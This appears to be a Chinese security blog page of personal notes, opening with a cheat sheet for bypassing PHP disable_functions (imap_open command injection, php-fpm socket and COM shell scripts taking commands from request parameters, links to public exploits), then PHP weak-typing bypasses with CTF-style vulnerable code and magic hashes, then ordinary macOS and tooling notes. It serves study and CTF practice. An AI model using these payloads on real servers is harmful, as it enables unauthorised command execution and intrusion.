0%

慢慢整理。

diable funcs

exec,passthru,popen,popepassthru,proc_open,shell_exec,system
chgrp,chown,chroot,dl,error_log,fsocket,fsockopen,imap_open,ini_alter,ini_restore,link,mail,mb_send_mail,imap_mail,openlog,pfsockopen,proc_get_status,putenv,readlink,stream_socket_server,symlink,syslog

LD_PRELOAD

详细方法:https://www.freebuf.com/web/192052.html
依赖函数:putenv
可利用函数:mail / error_log / 其他执行了本地二进制文件的函数

1
2
error_log("test",1,"","");
mail("", "", "", "");

例子:TCTF 2019 Wallbreaker Easy

imap_open

依赖:php-imap,php.ini中开启imap.enable_insecure_rsh选项为On

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

php-fpm

webcgi socket stream

依赖:php-fpm

1
$sock=stream_socket_client('unix:///run/php/php7.0-fpm.sock');fputs($sock, base64_decode($_POST['A']));var_dump(fread($sock, 4096));

payload 生成可参考
https://www.xmsec.cc/attack-webcgi-with-socket/

Remote Command Execution (CVE-2019-11043)

Such conditions can be achieved in a pretty standard Nginx configuration. If one has Nginx config like this:

1
2
3
4
5
6
7
   location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
}

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

Windows 系统组件 COM .NET

php.ini 开启 com.allow_dcom = true
启用 extension=php_com_dotnet.dll

1
2
3
4
5
6
7
8
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

plt modify x64

Linux kernel version >= 2.98,
PHP-CGI or PHP-FPM (modern Apache versions with mod_php call setuid, thus, there’s no access to procfs),
Linux x64 (you can adjust offsets to make it work on x32 system),
open_basedir = Off (or you should be able to bypass it to read /lib and to read and write in /proc).

https://github.com/beched/php_disable_functions_bypass

php7.4 FFI

From RCTF 2019 NEXTPHP
https://www.mi1k7ea.com/2019/06/07/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8BPHP7-4%E7%9A%84FFI%E7%BB%95%E8%BF%87disable-functions/

php7 gc

7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

php7 UAF

7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
https://github.com/mm0r1/exploits/tree/master/php-json-bypass

第三方组件

image magick
Bash的破壳漏洞
GhostScript沙箱绕过

Ref

  1. https://www.mi1k7ea.com/2019/06/02/浅谈几种Bypass-disable-functions的方法
  2. https://blog.szfszf.top/tech/php绕过disable_function-总结与实践

弱类型

先看下强类型和弱类型的区别。

强类型指的是每个变量和对象都必须具有声明类型,是在编译的时候就确定类型的数据,在执行时类型不能更改,代表语言如Java、C等;而弱类型在执行的时候才会确定类型, 代表语言如PHP、Python等。

强类型较安全,而且效率高;弱类型相比而言不安全。

==和===

===在进行比较的时候,会先判断两个变量的类型是否相等,再比较;
==在进行比较的时候,会先将变量类型转化成相同,再比较。也就是说,相比之前,==并不会去比较两个变量的类型是否相等。

除此之外,还有!=和!==,原理和前面一样。

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行:

1
2
3
4
5
6
7
8
9
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1); //false
var_dump("admin1"==0); //true
var_dump("0e123456"=="0e4456789"); //true
var_dump("0x123" == "291"); //true
var_dump(is_numeric("0x123")); //true
?>

观察上述代码,”admin”==0 比较的时候,会将admin强制转化成数值,由于admin是字符串,转化的结果是0,自然和0相等;
“1admin”==1比较的时候会将1admin强制转化成数值,结果为1,而”admin1”==1等于错误,也就是”admin1”被强制转化成了0,为什么呢?——当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.’、’e’、’E’并且其数值值在整形的范围之内,则该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0;
“0e123456”==”0e456789”比较的时候,会将0e这类字符串识别为科学计数法的数字,0的无论多少次方都是零,所以相等。

php7

1
2
3
4
5
6
7
8
php > var_dump("0x123" == "291");
bool(false)
php > var_dump(is_numeric("0x123"));
bool(false)
php > var_dump("0xe" + "0x1");
int(0)
php > var_dump(substr("foo", "0x1"));
string(3) "foo"

可以发现16进制字符串已经不能被认为是数字。

intval

intval(var)函数用于获取变量的整数值。在转换时,函数会从字符串起始处进行转换直到遇到一个非数字的字符,即使出现无法转换的字符串也不会报错而是返回0,从而可以导致如下情形的Bypass:

1
2
3
4
5
6
7
8
9
<?php
$a = $_GET['a'];
if (intval($a) === 666) {
$sql = "Select a From Table Where Id=".$a;
echo $sql;
} else {
echo "No...";
}
?>

hash

md5()和sha1()都用于计算字符串的散列值,但是两者都无法处理数组、不会抛出异常而是直接返回false。

如下情形,要求输入两个数使得一个参数的md5值和另一个参数的sha1值相等,当都输入数组时会导致NULL=NULL从而Bypass:

1
2
3
4
5
6
7
8
9
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if (md5($a) === sha1($b)) {
echo "Bypass md5() and sha1()!";
} else {
echo "No...";
}
?>

is_numeric()

is_numeric()函数用于检测变量是否为数字或数字字符串。

但是函数的范围比较广泛,不仅仅是十进制的数字,其可被十六进制的值进行绕过,如下情形可造成二次注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$name = $_GET['name'];
$con = mysql_connect("localhost","root","hehe123");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}

mysql_select_db("test", $con);
if (is_numeric($name)) {
mysql_query("insert into users values (3," . $name . ",'test')");
}
?>

1′ union select 1,2,3的十六进制为0x312720756e696f6e2073656c65637420312c322c33

访问:http://127.0.0.1/x.php?name=0x312720756e696f6e2073656c65637420312c322c33

1
2
3
4
5
6
7
8
9
mysql> select * from users;

+----+-----------------------+----------+
| id | username | password |
+----+-----------------------+----------+
| 3 | 1' union select 1,2,3 | test |
+----+-----------------------+----------+

1 row in set (0.00 sec)

in_array(search,array,type)
array_search(value,array,strict)

in_array()函数用来判断一个值是否在某一个数组列表里面。array_search() 函数在数组中搜索某个键值,并返回对应的键名。
其缺陷在于未指定第三个参数时,存在自动类型转换,相当于逐个 ==

ereg()和eregi()

ereg()和eregi()函数都用于正则匹配,两者的区别在于是否区分大小写,使用指定的模式搜索一个字符串中指定的字符串,如果匹配成功则返回true,否则返回false。

该函数可被%00截断来Bypass:

1
2
3
4
5
6
7
8
9
<?php
$passwd = $_GET['passwd'];
if (@ereg("^[a-zA-Z0-9_]+$", $passwd)) {
$sql = "Select username From users Where password='".$passwd."'";
echo $sql;
} else {
echo "No...";
}
?>

md5 sha1 0e 弱类型碰撞

又可参见:https://www.whitehatsec.com/blog/magic-hashes/
该情形下的哈希碰撞是基于弱类型==或!=的。

下面看个题目,大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$logined = true;
$username = $_GET['username'];
$password = $_GET['password'];

if (!ctype_alpha($username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>

1
2
3
4
5
6
7
8
9
10
11
md5
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

sha1
10932435112
0e07766915004133176347055865026311692244

Ref

大部分内容转载自来源 1,只进行了少量修改。
1.https://www.mi1k7ea.com/2019/06/21/PHP%E5%BC%B1%E7%B1%BB%E5%9E%8B%E5%B0%8F%E7%BB%93/
2.很多之前的笔记,无法一一列举

bash

iterm2 ohmyzsh

command manuel

  • 查看监听端口
  • sudo lsof -nP -iTCP[:端口号] -sTCP:LISTEN
  • netstat -an -p ‘tcp’

proxy

1
2
export {http,https,ftp}_proxy='http://127.0.0.1:1080'
export socks5_proxy='socks5://localhost:1080'

or proxychains4

双网卡 route

sudo route add -net 10.0.0.0 -netmask 255.0.0.0 172.29.7.254 ip mask gateway 适用内网与外网网关不同时

brew

替换homebrew默认源

1
2
3
4
git -C "$(brew --repo)" remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/brew.git
git -C "$(brew --repo homebrew/core)" remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/homebrew-core.git
git -C "$(brew --repo homebrew/cask)" remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/homebrew-cask.git
brew update

如果替换源之后brew update 没反应

1
2
cd "$(brew --repo)"
git pull origin master

切回官方源

1
2
3
4
git -C "$(brew --repo)" remote set-url origin https://github.com/Homebrew/brew.git
git -C "$(brew --repo homebrew/core)" remote set-url origin https://github.com/Homebrew/homebrew-core.git
git -C "$(brew --repo homebrew/cask)" remote set-url origin https://github.com/Homebrew/homebrew-cask.git
brew update

替换Homebrew Bottles源

Homebrew Bottles是Homebrew提供的二进制代码包,目前镜像站收录了以下仓库:

对于bash用户

1
2
echo 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles' >> ~/.bash_profile
source ~/.bash_profile

对于zsh用户

1
2
echo 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles' >> ~/.zshrc
source ~/.zshrc

install command

brew info python
brew install python
brew link python
brew cleanup

system

volumn

  • 通信自动音量调整关闭
    1
    2
    3
    通信前
    printf "p *(char*)(void(*)())AudioDeviceDuck=0xc3\nq" | lldb -n QQ
    printf "p *(char*)(void(*)())AudioDeviceDuck=0xc3\nq" | lldb -n WeChat

docker

  • mirror
    • RUN sed -i ‘s/archive.ubuntu.com/mirrors.ustc.edu.cn/g’ /etc/apt/sources.list
  • mysql error
    • run into this under ubuntu14.04 with updating password
    • [ERROR] Fatal error: Can’t open and lock privilege tables: Got error 140 from storage engine
    • mkdir /var/run/mysqld ; chown -R mysql:mysql /var/lib/mysql /var/run/mysqld && service mysql start
  • other error
    • maybe mkdir /var/run/xxx
  • gdb
    • docker run --privileged
    • docker run --cap-add=SYS_PTRACE (or ALL)
  • configure proxy server

software collection

resource url

Basic & Tools

python

Note

  • Mweb @Appstore / yu writer
    • with hexo
  • Onenote
  • notion
  • 滴答清单

效率

FTP

  • transmit

convenient

  • WeChatExtension
  • bandzip 压缩 @Appstore
  • bingpaper 壁纸
  • iina 播放器
  • source tree (git gui)
  • teamviewer (anydesk/microsoft remote desktop)
  • easy new file (新建文件,快速打开终端) @appstore
  • FDM 下载器
  • 迅雷
  • Scroll reverser 鼠标滚轮反转
  • PDF element PRO
  • fine reader ocr @Appstore
  • PicGo 图片上传客户端
  • dozer brew cask install dozer 状态菜单图标隐藏
  • LunarCal 日历 @Appstore
  • expression 正则测试 @Appstore
  • Permute3 音视频转换 @Appstore
  • 自动切换输入法 @Appstore 免费
  • XMind ZEN
  • OBS
    • with boom 2

Visual

  • PD/VMFUSION https://www.vmware.com/go/getfusion
    • vmfusion debian/ubuntu share open-vm-tools-dkms
      • vmhgfs-fuse .host:/ /mnt/hgfs/
      • /etc/fstab .host:/ /mnt/hgfs fuse.vmhgfs-fuse allow_other 0 0
  • wine winetricks
  • docker

DB

Develope

  • pycharm
  • idea
  • android studio
  • anaconda

Backup

office

起因

发现 10.13 自带的 php7 不能安装 xdebug… 否则需要关闭 SIP,算了不如自己再装一个。

前期准备

  1. brew 自行安装
  2. apache2.4 mac 自带
  3. vscode 自行安装
  4. xcode command-line-tool 自行安装
  5. php7.1 后面说
  6. xdebug 同上
阅读全文 »

0x00 Something

这篇 web 中的密码学攻击滞留在博客好久了,因为详细写懒得动,简单写又太水,最后还是在这里水一下吧。包含:

  1. Hash扩展长度攻击
  2. Padding Oricle Attack
  3. Bit-flipping attack TO-DO
阅读全文 »

引言

一直没有把用到的系统命令系统整理一下,想着博客搁置好久了,好些内容也在之前的随笔写了些,但是混合起来还是干货不足,现在这里划一划(吧。

不定期更新中

阅读全文 »

简述

最近遇到了一个颇有意思的题目,内容涉及图片隐写和ZIP伪加密。接下来主要分享关于zip伪加密的一些内容。

阅读全文 »

简述

从接触隐写术到现在有一段时间了,也在乌云上见到了经典的分享,详见参考目录。个人感觉隐写术的趣味性很强,故总结一些关于图片隐写术的小姿势。(不断补充)

阅读全文 »